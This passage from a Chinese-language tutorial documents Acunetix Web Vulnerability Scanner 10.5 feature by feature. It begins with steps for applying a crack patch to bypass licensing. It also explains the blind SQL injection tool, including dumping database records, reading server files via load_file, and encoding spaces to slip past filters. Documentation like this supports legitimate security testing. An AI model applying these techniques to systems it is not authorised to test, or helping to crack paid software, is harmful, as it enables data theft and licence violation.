3、之后我们将破解补丁移动到AWVS的安装目录,打开破解补丁。点击patch之后便可以完成破解,最后关闭破解补丁。  4、破解之后,程序将弹出下面程序,直接点击next下一步  5、最后提示激活成功之后,直接Flish完成安装,提示Successfuly表示成功安装。  6、启动桌面上的Acunetix Web Vulnerability Scanner 10.5,在菜单栏上选择——Help——About可以看到AWVS的版本,以及包括“Program Updates”可检查软件更新,我们这里就不更新。毕竟我们下的是最新版的。   7、主要程序介绍:在程序安装路径“C:\Program Files (x86)\Acunetix\Web Vulnerability Scanner 10” 中主要文件的作用如下: 8、安装界面介绍:启动AWVS可以看到整个程序的界面  ①、标题栏 ②、菜单栏 ③、工具栏 ④、主要操作区域 ⑤、主界面 ⑥、状态区域 9:主要操作区域简介: 0×02、AWVS的菜单栏、工具栏简介(AWVS menus bar & tools bar) a)、菜单栏 File——New——Web Site Scan :新建一次网站扫描 File——New——Web Site Crawl:新建一次网站爬行 File——New——Web Services Scan:新建一个WSDL扫描 Load Scan Results:加载一个扫描结果 Sava Scan Results:保存一个扫描结果 Exit:退出程序 Tools:参考主要操作区域的tools Configuration——Application Settings:程序设置 Configuration——Scan Settings:扫描设置 Configuration——Scanning Profiles:侧重扫描的设置  Help——Check for Updates:检查更新  Help——Application Directories——Data Directory:数据目录  Help——Application Directories——User Directory:用户目录  Help——Application Directories——Scheduler Sava  Directory:计划任务保存目录  Help——Schedule Wen Interface:打开WEB形式计划任务扫描处  Help——Update  License:更新AWVS的许可信息  Help——Acunetix Support——User Mannul(html):用户HTML版手册  Help——Acunetix Support——User Mannul(PDF):用户PDF版手册  Help——Acunetix Support——Acunetix home page:AWVS官网  Help——Acunetix Support——HTTP Status:HTTP状态码简介 b)、工具栏 从左到右分别是(这些都可以在主要操作区域找到,所以不常用): 新建扫描——网站扫描——网站爬行——目标查找——目标探测——子域名扫描——SQL盲注——HTTP编辑——HTTP嗅探——HTTP Fuzzer——认证测试——结果对比——WSDL扫描——WSDL编辑测试——程序设置——扫描设置——侧重扫描设置——计划任务——报告 0×03:一次新的扫描的功能全面概述(Scan Settings:扫描类型、扫描参数) 1、点击菜单栏的 New Scan 新建一次扫描, 网站扫描开始前,需要设定下面选项: 1). Scan type 2). Options 3). Target 4). Login 5). Finsh 1、Scan type: ①:Scan single website:在Website URL处填入需要扫描的网站网址,如果你想要扫描一个单独的应用程序,而不是整个网站,可以在填写网址的地方写入完整路径。wvs支持HTTP/HTTPS网站扫描。 ②:Scan using saved crawling results:导入WVS内置 site crawler的爬行到的结果,然后对爬行的结果进行漏洞扫描。 ③:Access the scheduler interface:如果被扫描的网站构成了一个列表形式(也就是要扫描多个网站的时候),那么可以使用Acunetix的Scheduler功能完成任务,访问http://localhost:8183,扫描后的文件存放在“C:\Users\Public\Documents\Acunetix WVS 10\Saves”. Acunetix的计划任务,主要特性如下: a). 可用于大量扫描,扫描结果保存在“C:\Users\Public\Documents\Acunetix WVS 10\Saves”。 b). 扫描结束,可以使用邮件通知。 c). 可设定计划时间,什么时候允许扫描,什么时候不允许扫描 2、Options:  Scanning options :侧重扫描的漏洞类型设置  ①:Scanning profile:设置侧重扫描的类型,包含16种侧重检测类型,如下: 每种侧重扫描的类型又有包含多种扫描script,如果需要做调整或者修改,请查看 Configuration >> Scanning Profiles Scanning Profiles中的每个侧重扫描的类型下都包含了非常多的扫描脚本,由于太多我就不一一介绍,随便点击一个,右边就有对该扫描脚本的介绍,随意抽选几个介绍,例如: ftp_anonymous.script:扫描ftp匿名登录漏洞PHPInfo.script:扫描是否有phpinfo泄露 Backup_File.script:扫描网站的备份文件wordpress_8.script:针对 wordpress弱口令测试 你也可以选择扫描的脚本,然后新建自己的扫描策略,如下: 选择自己需要的策略,可以单击保存按钮保存一份策略,单击X按钮删除一个策略 Scan Setting:扫描配置 ②:可定制扫描器扫描选项,AWVS在默认情况下只有“default”默认扫描参数配置策略,点击旁边的Customize则可以自定义:  与界面主操作区域对应:如下 (注意要点:如果在新建向导中设置Scan setting只会影响本次扫描的扫描参数设置,如果在主界面中的Scan Setting设置则是全局配置) 此处可以设置各种扫描参数配置,包括点击白色处“ ”是新建配置,单击X则是删除配置。 a)、Scan options  扫描配置 ①:禁用蜘蛛爬行出发现的问题,AWVS在漏洞测试之前会使用蜘蛛功能对网站先进行测试,此处是禁用蜘蛛爬行发现的问题,如:错误的链接。一般这样的错误都是风险很低的警告信息。 ②:scanning mode 是指扫描的模式分为三种如下: Heuristic:标准的扫描模式,扫描线程和深度一致 Quick:快速扫描模式 Extensive:扩展性扫描,完整扫描模式 它们三种模式的扫描线程、深度如下: ③:目录爬行的递归深度,默认为5级,使用0则关闭 不要发出超过500个相同类型的警告,使用0则关闭 ④:开启目标端口扫描功能,但该扫描速度较慢,建议使用NMAP端口扫描 ⑤:收集不常见的HTTP请求状态,例如HTTP 500状态码 ⑥:在扫描过程中如果服务器停止响应尝试25次之后中止扫描 ⑦:在扫描过程中,是否使用网站设定的cookie ⑧:网站中链接到其它主机的文件,而这些网站与主站的关系相近,例如:www.baidu.com链接中包含test.baidu.com,你可以在这里添加允许与主站关系很大的域名来进行扫描,可以使用通配符形式。这样扫描的时候将扫描这些主机的漏洞。 b)、Headers and Cookies 头部与Cookie (a)、Test cookies for all files (by default it will only check files with parameters)  访问所有文件,都使用cookie测试(默认情况下,只有带参数的文件才使用cookie进行检测)。 (b)、Manipulate the HTTP headers listed below  操控HTTP头部信息,可按照自己的要求定制HTTP头。 (c)、Add Header 添加一个HTTP头部,在新增的“enter header name here”单击此处可以输入你的头部名称。 (d)、Remove Selected  移除你选中的HTTP头部   c)、Parameter Exclusion 扫描参数排除   有些参数不影响用户会话的操作,你可以排除这些参数被放在这个名单中,扫描器将不会去扫描测试这些参数,注意:名称应该为正则表达式  (a)、添加一个参数排除:  包含URL(*代表任何URL)、名字(要过滤的参数,一般以正则表达式表示)、type(请求方式,包含Any任何类型、GET、POST类型、COOKIE类型) (b)、移除选中的排除 d)、GHDB  利用Google hacking数据库检测 Google hacking数据库设置,包含了1467条数据在数据库中 AWVS在扫描的过程中利用google hacking技术在google搜索引擎上对目标网站进行信息搜集。下面的语法是对网站的信息搜索的google语法。 (a)、Short description: 简要描述信息:(参考:http://baike.baidu.com/view/336231.htm) (b)、Query String :Google上查询的字符 (c)、 Filter GHDB:GHDB过滤搜索 (Short description:简要描述 Query String 查询字符串 Full description:所有描述) (d)、check visible:检测明显的  unchek visible:不检测明显的  check only visible:检测仅明显的 ③: Crawling options 爬行设置: 针对特定的扫描场景,自定义爬虫的行为,这些选项将定义爬虫的行为: start HTTP Sniffer for manual crawling at the end of process:蜘蛛爬行过程结束后启动HTTP嗅探,以发行更多链接。 Get first URL only:只扫描首页,不抓取任何链接。 Do not fetch anyting above start folder:不扫描上级目录,例如:新建扫描为http://www.baidu.com/cms/,将不会扫描cms上级目录的链接。 Fetch files below base folder:扫描子目录。 Fetch directory indexes even if not linked:获取目录索引,即使没有关联性的。 Retrieve and process robots.txt, sitemap.xml. :抓取并分析robots.txt、sitemap.xml中出现的目录、URL。 lgnore CASE differences in paths:忽略目录的大小写敏感 fetch default index files (index.php,default.asp):尝试获取每个目录下的默认索引文件,例如扫描http://qq.com,如果爬行到test目录则尝试获取test目录下是否有索引文件,例如:http://qq.c/test/index.php。 try to prevent infinite derectory recursion:防止抓取到死循环的无限目录。如:http://qq.com/admin/admin/admin/admin/admin crawl should request only linked files: 爬行应请求只有关联性的文件。 ignore parameters on file extensions like .js .css…etc:忽略文件扩展名类似为js css的参数。 disable auto  custom 404 detection(application will use only user defined reles):禁用自动定制404检测(应用程序将使用用户定义的规则)。 considerwww.domain.comand domain.com as the same host:如果启用该项那么AWVS会认为www域名和顶级域名是同一主机。 enable input limitaion heuristics:如果启用该选项,并在同一目录下的文件被检测20多个相同的输入方案,抓取工具只会抓取前20个相同的输入方案。 optimize inputs for known applications: 对已知应用程序输入的优化。 maximum num ber of variations:变化的最大数目,例如:http://www.baidu.com/index.php?id=1,这里设置ID的最大值为50。link depth limitation:链接深度限制,例如从A站点抓取发现了一个链接,又从该链接上发现另一个链接,以此类推最大深度默认为100。 structure depth limitation:子目录的最大深度的限制,默认最大15级目录。 maximun number of files in a derectory:在一个目录下AWVS爬取文件数量的最大值。 maximum number of path schemes:判断路径任务的最大任务数。 crawler file limit:爬虫爬行文件的数量限制。  ④:file extension filters: 文件扩展名过滤 AWVS将读取该配置,尝试扫描哪些后缀的文件,例如排除掉的后缀文件,AWVS在工作的时候将不扫描被排除的后缀文件,因为扫描它们毫无意义。 a)、包含的扩展名,AWVS将会扫描的后缀扩展文件 b)、 排除的扩展名,AWVS将不扫描的后缀扩展文件 ⑤: Directory and file filters:目录和文件过滤 定义一个目录列表被排除在爬行和扫描过程通配符允许您筛选一系列文件:如/dir1/* 或者/dir1/a *。表示将不扫描/dir1/下的文件,/dir1/a*表示的是不扫描dir1下以a开头的文件的漏洞。 a)、过滤的URL b)、是否为正则表达式 ⑥:URL Rewrite:URL重定向设置 一些网站使用URL重写,这里你可以定义一个列表的URL重定向不同网站帮助爬虫浏览这些网站。 ⑦:HTTP Options  定义在爬行和扫描过程的HTTP头选项 (a)、用户当前的agent (b)、定义不同浏览器的agent (c)、检查最大的并发连接数 (d)、HTTP的请求超时时间 (e)、AWVS对两个请求之间延迟的毫秒,某些WAF对访问请求时间太快会进行拦截 (f)、HTTP请求的文件字节大小限制,默认5120kb (h)、自定义HTTP 头部,例如自定义IP报头或者其它的HTTP头,如下: ⑧:Lan Settings 配置代理服务器来扫描网站漏洞 a)、http代理服务器 b)、Socks代理服务器 ⑨:DeepScan 深度扫描,深度扫描技术,嵌入WebKit提供使用JavaScript基础技术如AJAX / HTML5和SPA 网站全面支持 a)、启用深度扫描 b)、扫描从外部引入的脚本中存在的漏洞,例如scr=http://www.qq.com/xx.jsp c)、Session 超时的秒数  ⑩:Custom Cookie  自定义Cookie,例如你在网站的登录之后获取Cookie,将Cookie添加到这来就可以实现预登陆状态下的扫描 a)、添加、移除自定义的cookie ,包含要添加的URL,使用*表示所有的URL,以及对应的Cookie值。 b)、扫描时锁定自定义的cookie  ⑾:Input Fileds  此处主要设置提交表单时的字段对应的默认值,例如在HTML表单提交中出现age的字段,则会自动填写值为20。字段中:*web*中的是含有通配符的表示形式,例如1web2这样的就是满足*web*,而字段的值则有多种变量如下:  ${alpharand}:a-z的随机字符串  ${numrand}:0-9随机数字  ${alphanumrand}:上两个的组合(随机字符串+随机数字) (a)、从URL中 解析表单的字段,例如输入http://login.taobao.com将从这里读取表单的字段,值如果有默认则填写默认,没有则需要自己添加,例如对wooyun.org自动提取表单的字段,预设值则需要自己设置,这样方便在扫描的时候AWVS自动填写预设的值去提交表单进行漏洞测试 (b)、添加、移除、前后顺序设置自定义的表单字段,包含:名字、值、长度 ⑿ : AcuSensor  传感器技术 ,从这个节点,您可以启用或禁用acusensor和它的功能和设置密码。  (a)、启动AcuSensor技术 (b)、为AcuSensor设置密码 (c)、请求文件列表 (d)、开启服务器警告 (e)、在一个特定的URL上测试AcuSensor ⒀:Port Scanner 配置端口扫描程序的、socket、超时和端口设置 (a)、用户扫描端口的线程数 (b)、连接超时的毫秒时间设置 (c)、添加、移除扫描的端口,这里已经列举了常用的端口,AWVS将会扫描这里的端口。 ⒂:Custom 404  自定义404页面,为了扫描中防止误报,应当自定义404页面 自定404页面的方式:  ①:自定义404的URL ②:404页面的关键字匹配 ③:匹配的关键字出现的位置 Location header:出现在HTTP头部 Result body:出现在HTTP的正文处 Result headers:出现在HTTP的头部+正文处 ④:测试404页面是否存在Pattern中输入的,如果成功表示404页面中存在该关键字 ⑤:是否为正则表达式 当然你可以单击向下展开的按钮,可以测试网站的404页面包括头部、浏览形式的查看,然后你可以选择404的关键字,通过点击“Generate pattern from selection”来生成404的关键字或者表达式,并且会自动设置出现的位置。 Adjust advanced scan setting: 在扫描向导中显示高级扫描设置,如下面的Advanced就是高级选项 Advanced:  进入高级之后分别是: ①:在爬行结果之后选择我们需要扫描哪些文件 ②:自定义从哪里开始扫描,导入txt文件,例如扫描http://www.baidu.com,不想从根路径开始扫,而从二级目录http://www.baidu.com/test/,将其保存到txt文件中之后将从test二级目录开始扫描 ③:爬行的时候使用外部测试工具,蜘蛛爬行的过程中将运行您设置的命令,以及超时时间设置 ④:设置包含一个火狐扩展插件Selenium IDE生成的HTML文件,蜘蛛爬行的过程中将会根据它来进行爬行。 Target: (a)、扫描目标的根路径 (b)、服务的banner (c)、目标URL (d)、目标操作系统 (e)、目标的Web容器 (f)、目标的程序语言 Login: ①:使用预先设置的登录序列,可以直接加载lsr文件,也可以点击白色处开始按照步骤新建一个登录序列(具体步骤参考后面的演示) ②:填写用户名密码,尝试自动登录.在某些情况下,可以自动识别网站的验证。 Finish: ①:使用AcuSensor传感技术的设置 ②:爬行与扫描中是否区分大小写 ③:将这次的设置保存为一个策略,以便下次直接使用策略 开始扫描: ①:  依次为: #1、Generater report from this scan : 使用Configuration Settings可定制报告的某些信息,例如logo等. 转换为不同的格式报告:  ②:扫描结果显示,包含存在漏洞的名字、链接、参数等,Site Structrus是网站爬行出的结构状态、Cookie是爬行的Cookie信息。  ③:详情信息显示,需要点击左边的扫描结果才会展示详情信息。如下图就是左侧显示的SQL注入和参数,右边是SQL注入的详情。  如果不点击则是扫描的高低危漏洞统计,如下图就是威胁等级:Level 3,漏洞总结果是17个,High(红色):高危漏洞2个,Medium(橙色):中危漏洞8个,Low(蓝色):低危漏洞5个,Informational(绿色):提示信息2个。  ④ :显示三个信息。 Taget Information:包含目标站点 1、是否应答、2、WebServer的banner、3、操作系统、4、Web容器、5、程序语言 Statistics:对扫描的各种信息统计,包含1、扫描的总时间、2、HTTP请求数量、3、平均扫描时间、4、扫描重复次数  Progress:扫描进度信息的提示,包含1、是否扫描完成,100.00%表示已完成,2、端口扫描是否完成 3、蜘蛛爬行是否完成(文件数量、目录数量、变量数量)、4、脚本信息 5、内部模块 ⑤ 显示应用程序运行、测试的日志、错误日志。  0×04、AWVS的应用程序配置详解 三个设置点:  1、Application Settings: 1、Application Updates: 程序升级的配置 Application Updates:程序升级 ①:程序更新,分为两种: At application startup:在程序启动时自动检查更新 When ‘check for updates’ is clicked:用户点击“General——Program Updates——Check for updates”时更新 ②: 更新时使用代理服务器来更新程序,需填写主机名、代理端口、用户名和密码 2、Logging: 日志配置  ①:Enable logging:开启日志功能 ②:Log infomational messages:将程序的提示信息记入日志 ③:Log warning messages:将程序的警告信息记入日志 ④:Log Errir messages:将程序的错误信息记入日志 ⑤:Log HTTP request and response to a file:将程序中发起的HTTP请求和响应信息记录到一个文件中log\httplog.txt ⑥:Log only HTTP error in HTTP log:只记录HTTP的错误信息在HTTP的日志中 ⑦:Include timestamps:在记录日志的时候包含产生每条记录的时间戳 ⑧:On error switch to Error Log tab:在发生错误信息的时候,自动切换到Error Log面板 ⑨:number log files to keep before deleting:删除日志前需要保留的日志数量,默认2个  3、Saved Scan Results  扫描保存数据库的设置 ①:保存报告的数据库类型:分为: MS Access 和 MS SQLSERVER两种,如果使用SQLserver将要填写SQLServer的数据库地址、用户名、密码包括数据库名等。 ②:Access数据库的保存位置,默认是:C:\ProgramData\Acunetix WVS 10\Data\Database\vulnscanresults.mdb ③:如果你使用SQLServer数据库,不想填写数据库IP\用户名\密码\数据库名等信息,你可以直接导入.dbconfig格式的数据库配置 ④:扫描完成之后自动保存结果。 4 、HTTP Authentication HTTP基本验证  此验证主要用于如下类似的HTTP基本认证:  ①:AWVS在扫描过程中可识别基本验证,在此过程中不要询问我们是否需要验证,选中此项AWVS将不会提示我们哪些页面需要认证。 ②:自动保存凭证信息,在AWVS扫描过程中询问我们HTTP认证的账号密码,勾选此项之后,当我们输入用户名密码之后,AWVS将自动保存我们的输入,以便以后扫描时不再需要输入。 ③:配置需要验证的 Host主机、路径Path、Username用户名和Password密码。 按钮中: Add Credentials:添加一个凭证 Remove Selected:删除选择的凭证 Edit:编辑选中的凭证 Show Password:显示已添加的凭证的密码 5、Client Certificates: 证书验证  ①:Certificate file:选择证书文件    Password:证书密码   URL:验证证书的URL地址 ②:Import Certificate:上方填写完整之后点击此按钮导入证书   Remove selected:移除选中的证书 6、Login Sequence Manager:表单验证 【重点】  表单验证用户某些页面,例如扫描后台、扫描用户登录后可访问的页面时候,需要登录用户密码验证再进行扫描 与新建扫描向导中的“Login”功能一致,需要新建一个表单验证。  ①:New sequence :新建一个表单验证   Edit sequence:编辑一个表单验证  Remove sequence:移除选中的验证  Browser:浏览表单验证文件,后缀为.lsr。 如何新建一个表单验证,过程三个步骤如下,以DVWA渗透测试演练系统来演示:  #1、Record Login Actions 记录登录操作,这一步是选择需要登录的页面之后,输入账号密码进行登录,然后程序将会记录登录的所有操作、包括输入的账号密码以及登陆后跳转的页面 ①:此处标记的是你扫描的URL ②:此处当然你登录的表单区域了 ③:三个按钮 Record :开始记录登录的操作  Stop:停止记录登录操作  Play:回放你录制的登录操作来确定是否正确 ⑤:这里记录的是你的几个动作,如上图只有三个动作: 1、导航到http://127.0.0.1/dvwa/login.php 2、对表单的username字段输入admin账号 3、对表单的password字段输入password密码 4、虽然上图没有第四步,但是第四步是:Clik on Login,就是我们点击登录的这个步骤  ④: ↓ ↑:上下键来调整登录的步骤 ,+ 、- :增加或删除一个登录步骤 ⑥:显示登录每个步骤的类型、目标、超时时间、填入的值 第一步记录登录操作已经成功完成,点击Next进入下一步  #2、Record Restrictions:记录限制请求,此处的记录的原因是如果AWVS在扫描登录状态的页面的时候,如果请求到类似Logout的退出请求,那么就会结束会话并退出登录,这样下来我们就无法继续扫描后台的漏洞了,所以此时我们需要记录一个限制的地址,也就是告诉AWVS,哪个请求是会退出会话,当然不仅仅是退出,如果一个后台有“注销”、“退出”、“重新登录”三个按钮,我们也要同时记录着三个请求。  针对DVWA的限制请求记录步骤 ①:首先Restrict按钮是要呈现按下的状态,此时就会开始记录用户点击的限制请求 ②:DVWA中的左侧导航“Logout”是退出的链接,我们点击它之后中间会弹出一个拦截 ③:拦截中的数据就是我们点击“Logout”的请求,这里有三个按钮 Restrict request using exact match :记录下此请求标识为精确的限制约束,也就是说将它告诉AWVS不要请求该链接 Forward :放过这个请求,不标记它为限制请求 Forward all:停止抓取所有请求,释放所有的请求 所以这里我们选择:第一个按钮,标记http://127.0.0.1/dvwa/logout.php;为限制请求,不让AWVS去请求它。 如上图:停止抓取请求,点击“Restrict”使这个按钮呈未按下状态,然后可以看到右上角出现的限制约束的请求链接,OK,Next进入下一步了。看到successfully,我想你已经知道这步是成功确定了一种检测有效会话的模式。  #3、检测会话是否有效:完成第二部步骤之后进入第三步骤是检测我们的会话是否有效,如果有效就完成了一次表单登录验证的流程。  ②:Detect while navigating:导航检测,选中进入进入下一步  ①:随意点击一个需要登录链接,如果弹出Successfully则说明我们去点击这个链接的会话是正确的,  ③:历史检测:获取历史检测的正确性  ⑤:这里会自动获取登录状态之后的关键字或状态码,并以一种方式判断,这里分别有几种方法:  a)、检测到登录后的的状态码是多少,或者不是多少?  status code is   status code is not  b)、检测登录后的关键字是在头部、还是不在头部?  Pattern is found in headers  Pattern is not found in headers  c)、检测登录后的关键字是否在返回的响应中?  Pattern is found in response  Pattern is not found in response  ④:Check Pattern:测试AWVS提取的关键字是否正确,如果是successfully则表示正确  ⑥:完成登录表单验证的步骤之后保存会话文件,后缀为.lsr  最后AWVS可以正常扫描登录状态后的页面的漏洞了:  7、False Positives  处理误报  此处是存储误报的链接、请求的。在我们扫描的结果中,如果你认为这一项是AWVS的误报,右击选择它”Mark alert(s) as false positive“将它放置到误报区域内,AWVS下次扫该站点的时候将不会再认为它是一个漏洞。Removed  Selected则是移除选中的误报。 8、HTTP Sniffer  代理型嗅探抓包设置 Acunetix HTTP 代理设置,默认监听8080端口(此功能默认不开启) ①:监听的接口分为两种: local interface (recommended):接受本机的代理请求(推荐) all interface (not recommended) 接受所有的代理请求(不推荐) ②:监听的端口,默认是8080 此配置设置之后点击“Apply”应用之后,在主操作区域的Tools中选择HTTP Sniffer,将本地浏览器设置代理为127.0.0.1:8080,再点击“Start”就可以获取嗅探到访问网页的数据包了 9、Scheduler:计划任务性扫描 用户可以不启动AWVS来扫描漏洞,可以直接访问Web版实现计划任务,可以扫描多个网站漏洞,使用该项服时要保证Acunetix WVS Scheduler v10服务已经启动。 Web Interface:Web版扫描的配置 Listen open port:Web界面计划任务的端口,访问:http://localthost:8183  Allow remote computers to connect:允许远程计算机访问我们的Web版的计划扫描页面,如果一旦开启则强制使用HTTPS协议另外还需要设置账户密码来进行验证,为了保证它的安全性。 Use HTTPS:使用HTTSP协议加密传输的数据 Require authentication:使用用户名、密码形式验证,一般配合“Allow remote computers to connect”来使用。 Change administrative password:修改认证的用户名密码       Scan:设置计划任务扫描的线程与保存结果 Scan results save folder:Web任务计划扫描结果的保存位置 Parallel scans (max 10):同时扫描的网站的数量,最多10,如果你的许可证书是正版,最大数量可达到500个 Email Notifications:配置邮件服务器将扫描工作通过邮件形式发送给您 Send email notifications when scans are fnished:选择是否扫描工作的时候发送邮件通知我们,如果勾选则启用该功能 Server ip/hostname:邮件系统的主机IP Port:邮件系统的端口 The SMTP server requires authentication:勾选它SMTP服务器是否需要密码认证 Username:SMTP用户名 Password:认证密码 TT:邮件发送的目标,邮件将发送给谁。 CC:邮件将抄送给谁 From:发送的人的设置,就是说邮件是从哪个邮箱发送的 Check here to verify Settings:测试邮箱是否正确配置,是否能成功发送  Excluded hours Templates:禁止扫描时间设置模版 在长时间扫描的时候,假如你不想在流量高峰期扫描你的网站,你可以指定一个暂停扫描的时间范围。例如上图:红色区域表示不允许扫描的时间,蓝色区域表示扫描的时间,这里表示周六、周日早上4:00-4:59之间的时候不进行扫描。  10、Miscellaneous 杂七杂八项配置 Memory Optimization:内存优化       Use temporary files to reduce memory usage:使用临时文件,扫描中产生的临时文件存储在硬盘中,而不存储在内存中,以减少内存的使用情况。 Tamporary folder:临时文件的位置 Keep all AcuSensor data in memory fo inspection:保持所有的AcuSensor数据在内存中检测 Maximum memory during crawling:爬行过程中可占用的最大内存(单位:M),如果在爬行和扫描过程中内存不足,则自动停止扫描 Display Options:显示选项 Display custom HTTP status information:显示自定义HTTP状态信息 Display HTTPS status icon:显示HTTPS的状态图标,启用此选项的话,扫描的时候,如果发现https访问的区域,将会在爬行结果中显示出一个锁状的小图标 Password Protection:密码保护  Current password:当前密码  New password:新密码 Confirm new password:确认新密码 Set password:设置密码 设置密码的方式是,当前如果为空密码,直接在第二三个文本框输入密码,点击Set password就可以完成密码设置, 配置密码后,运行wvs主程序及主要程序时需要输入口令验证 。 如果需要清除设置的密码,只要输入当前密码,新密码处留空再点击设置密码即可。  0×05:AWVS的蜘蛛爬行功能: 作用:爬行网站所有URL,可了解网站基本目录结构,以便于进行下一步的扫描 ①:Tools–Site Crawler 选择网站爬行功能 ②:从左到右的功能分别为: :打开格式为.cwl的蜘蛛爬行的结果 :保存格式为.cwl的蜘蛛爬行结果 :导出 export.xml蜘蛛爬行报告 : 从导入的文件建立结构 :扫描这个网站的漏洞 :选择一个文件进行扫描 :扫描的网站URL ③:被爬行网站的登录验证文件,加载这个文件可以爬行到需要登录的页面资源。Strart:开始爬行 Stop:停止爬行 ④:被爬行网站的的爬行结果: Name:爬行网站的的文件名称、Cookiie信息 HTTP Result:文件访问的状态,OK表示200,Forbidden表示403,Internal Server Error表示500 Inputs:可输入的参数值 Title:文件的标题 Content Type:文件的类型  ⑤:详细信息显示区域,点击左边的任意文件,在这里可以显示它的详细信息。下方的选项卡分别为: Info:文件详细信息 Referres:来源页信息 HTTP Header:HTTP头部信息 Inputs:可输入参数的信息 View Source:查看文件源代码  View Page:以浏览方式查看页面  Structure Analysis:结构分析 0×06:AWVS的目标探测工具(Target Finder) 相当于一款加强版(针对WEB渗透测试)的端口、banner探测工具 功能: 1、探测指定IP/IP段开放特定端口的IP 2、探测出IP后,探测该端口的banner信息,可探测出该端口上运行的WEB服务的中间件的版本信息 ①:Tools——Target Finder打开该工具 ②:被扫描的IP/IP段,IP段格式为:192.168.199.1-255, ③:被扫描的端口,这里是80,443端口 ④:扫描出的结果包含:  Server:目标主机  Hostname:主机名 Bnaner:Bnaner信息 Web Server:Web容器    ⑤:将扫描的结果进行操作分别如下操作: Scan this Server:用AWVS扫描这台主机的漏洞 Edit with HTTP Editor:用HTTP Editor测试目标 Save list of targets (for scanning):保存为.txr格式的目标列表作为后期的扫描目标 Export list of servers to CSV:导出为CSV格式的列表,包含所有的描述信息 ⑥:查看目标主机的Response Headers(响应的HTTP头信息)、Response Data(响应的数据)、View Page(浏览形式查看) 0×07:AWVS的子域名探测工具(Subdomain Scanner) 作用:探测并猜解子域名的信息, ①: Tools——Subdomain Scanner 工具位置 ②: 填写需要被扫描子域名的主机域名 ③: 使用的DNS服务器,分为两种: Use DNS Server from target:使用目标的DNS服务器探测解析 Use Specified DNS Server:使用自定义的DNS服务器,在旁边可以填写自定义的DNS服务器 ④:Timout:超时时间,单位是秒 ⑤:被探测出的子域名列表信息,分别包含Domain:被探测出的子域名; IP Address:子域名对应的IP; Web Server Banner(HTTP):HTTP的WEB服务器的Banner信息;  Web Server Banner(HTTPS):HTTPS的WEB服务器的Banner信息 ⑥:右击任意一个探测出的子域名,可对其如下操作: Scan this Server:用AWVS扫描这台主机的漏洞 Edit with HTTP Editor:用HTTP Editor测试目标 Save list of targets (for scanning):保存为.txr格式的目标列表作为后期的扫描目标 Export list of servers to CSV:导出为CSV格式的列表,包含所有的描述信息 ⑦:分为HTTP和HTTPS两种,各自均可查看目标主机的Response Headers(响应的HTTP头信息)、Response Data(响应的数据)、View Page(浏览形式查看) 0×08:AWVS的SQL盲注测试工具(Blind SQL Injection) 作用:在扫描网站的时候,发现网站存在SQL盲注漏洞,你可以倒入到SQL盲注工具中,你也可以直接将抓取的SQL盲注HTTP数据包粘贴到SQL盲注工具中进行注入测试。 HTTP Request: ①:Tools——Blind SQL Injection 工具位置 ②:SQL盲注的工具栏,分别作用如下: :开始执行测试SQL注入 :开始读取数据库 :获取表字段信息 :读取数据记录信息 :暂停操作 :中止操作 :新建一个SQL注入 :将当前进行注入的信息保存为.bln的文件 :打开.bln格式的文件进行注入分析 :导出xml格式的数据库结构信息 :保存.CVS的数据记录信息 :显示或隐藏HTTP Request界面 ③:Default Value:SQL注入参数原来的值,这里/example1.php?name=root 原来的值是root :添加一个注入的位置,被添加的地方会显示为:${injecthere} ④:SQL盲注的HTTP信息,可以在扫描网站得到SQL注入的时候,右键“Export to Blind SQL Injection ” ,也可以直接将存在盲注的HTTP请求信息粘贴进来 ⑤:搜索区域。 :针对上方的HTTP请求信息进行搜索,包括翻阅上一个下一个按钮 :搜索的结果进行高亮显示 :搜索的关键字为正则表达式 :搜索的关键字匹配大小写 :HTTP信息显示的类型包括:文本、HTML、SQL、XML、CSS等等。。 ⑥:此处显示当前的数据库的名字、用户名、版本,以及可列出数据库、表、字段、数据记录 ,如下图右击一个数据库可以获取表、右击表可以获取字段、右击表可以获取数据。Export the structure to file:将数据结构导出为.xml的文件  ⑦:此处显示的是注出的所有数据记录,最下方一行显示的是信息状态。  Settings——General: ①:设置数据库的类型,包括三种类型:Autodetect(自动检测)、Mysql(Mysql数据库)、MSSQL(Mssql数据库) ②:数据库注入的方法,包括三种类型:Autodetect(自动检测)、condition based(根据条件情况而定)、Union select base(基于联合查询) ③:Show debug information:显示过程的调试信息 ④:对SQL语句中的空格以/**/进行编码 ⑤:强制对HTTP传输的SQL字符串进行编码,勾选此项下面两项就是设定编码方式 ⑥:对所有的字符进行编码 ⑦:对空格使用+进行编码  Settings——Condition Based Extractor:  ①:SQL注入字符串的设置 Automatic detection:自动检测 Provided by user:用户自定义选择,条件是${},例如:1 and {condition}/* ②:真假条件识别器 Automatic detection:自动检测 Provided by Regex:指定正则表达式 Inverse Regex:当你想要真实的情况触发上述正则表达式的条件为假时,启用此选项。 ③:特征提取 Bit Method:位测试方法,直接数值转换数字为测试 Half Method:则应用程序将尝试通过使用一半法找出字符的数值,以此递归 Try Parallel request:尝试平行请求 Settings——Union Select based extractor  ①:指定联合查询中起始的字段数 ②:指定联合查询中最大的字段数 ③:指定可见的索引,0是自动检测 Tools: ①:通过load_file函数读取文件内容,需要root权限,点击“Extract”开始读取 File Name:被读取的文件 Offset:指定要从第几个字符开始读取 Length:指定读取多长的字符,0为读取全部  ②:执行SQL查询语句,点击“Excute”进行查询。 SQL query:要查询的SQL语句 Offset:指定从第几个字符开始显示结果 Length:指定查询出显示结果的长度,0是全部 ③:执行了上面两个操作,如果完成之后将会把结果保存在datebasde目录下,上图就是报错的读取文件和sql查询的结果。 0×09、AWVS的HTTP请求编辑器(HTTP Editor) 作用:包含两种模式,一种Request、一种Text Only模式,主要用于编辑HTTP信息,修改HTTP信息并发送给服务器获取返回的结果,是HTTP信息的重放过程。可修改HTTP的头部数据或者其它信息再提交给服务器处理等。 HTTP Request模式: ①:Tools——HTTP Editor 工具的位置 ②:Start:将当前编辑的HTTP请求提交给服务器处理,并获取返回结果。  Encoder Tool是编码工具,界面如下: 支持:URL、HTML、Base64、C-style、MD5、MD4、SHA1、UTF-7等多种编码解码方式 ③:从左到右的图标功能分别为: :针对下方的Requesr Header添加一个新的HTTP头 :删去选择的HTTP头 :编辑Cookie信息,包括增加、删除Cookie某个变量 :使用HTTPS协议 Method:请求的方式,分为GET、HEAD、POST等 Protocol:HTTP的协议分别为1.0、1.1 URL:HTTP的URI部分 Edit Request Variables:修改HTTP信息中GET或者POST的参数、值  ④:HTTP请求信息的头部Header ⑤:请求的数据,一般这里存放的是POST数据 ⑥:服务器返回的信息,包含HTTP Header(响应的头部信息)、Response Data(响应的信息源码)、View 